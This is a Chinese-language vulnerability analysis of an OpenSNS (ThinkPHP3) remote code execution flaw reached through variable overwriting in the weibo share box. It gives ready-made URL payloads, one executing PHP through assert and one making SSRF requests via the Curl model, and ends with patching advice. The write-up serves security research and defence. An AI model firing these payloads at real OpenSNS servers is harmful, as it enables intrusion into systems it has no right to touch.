OpenSNS RCE分析
字数 1048 2025-08-05 08:19:32
OpenSNS远程命令执行漏洞分析与利用
漏洞概述
OpenSNS是基于ThinkPHP3框架开发的一款社交网络系统,仅支持PHP5环境。该系统存在一个严重的远程命令执行(RCE)漏洞,攻击者可以通过精心构造的请求在目标服务器上执行任意PHP代码。
漏洞分析
漏洞入口
漏洞入口位于weibo/share/sharebox路径,通过GET请求提交query参数。该处存在变量覆盖漏洞。
漏洞触发流程
- 变量覆盖:通过
query参数提交的数据会被解析并覆盖系统变量 - 模板渲染:
assign方法将$array数组存入$this->tVar['parse_array']中,用于后续模板渲染 - 模板处理:通过
T函数获取模板文件,display方法进行渲染 - Widget调用:渲染过程中调用
W函数,最终通过A函数调用weibo应用下的widget控制层 - 模型实例化:通过
D函数实例化模型类,调用其公共方法
关键代码分析
// 通过D函数实例化模型类
D($method[0])->$method[1]($args, $schedule);
其中:
$method[0]:模型名称$method[1]:方法名称$args:参数数组$schedule:可控参数
可利用点
-
RCE利用:通过
Common/schedule/runschedule中的_validationFieldItem方法$val[4]可控为function$val[6]不传值时$arg变为空数组- 通过
array_unshift和call_user_func_array实现代码执行
-
SSRF利用:通过
admin/curlmodel/curl模型- 可构造SSRF请求
- 虽然无回显,但仍可利用
漏洞利用
RCE利用Payload
?s=weibo/share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[method]=-%3E_validationFieldItem%26id[status]=1%26id[4]=function%26id[1]=assert%26id[args]=jiang=phpinfo()%26id[0]=jiang
SSRF利用Payload
?s=weibo/share/shareBox&query=app=Admin%26model=Curl%26method=curl%26id=http://127.0.0.1/
其他安全问题
后台任意文件下载
后台下载主题功能中,$aTheme参数可控,可导致目录穿越和任意文件下载。
后台任意文件上传
可上传包含恶意文件的ZIP压缩包,解压到Theme目录下。
后台任意代码执行
后台存在直接包含文件的功能,可导致代码执行。
防护建议
- 升级到最新版本或打补丁
- 对用户输入进行严格过滤和验证
- 限制后台访问权限
- 禁用危险函数如
assert、call_user_func_array等 - 对文件操作进行严格的路径检查
总结
OpenSNS的RCE漏洞源于变量覆盖和不当的函数调用机制,结合PHP5的特性可实现任意代码执行。该漏洞危害严重,建议用户及时采取防护措施。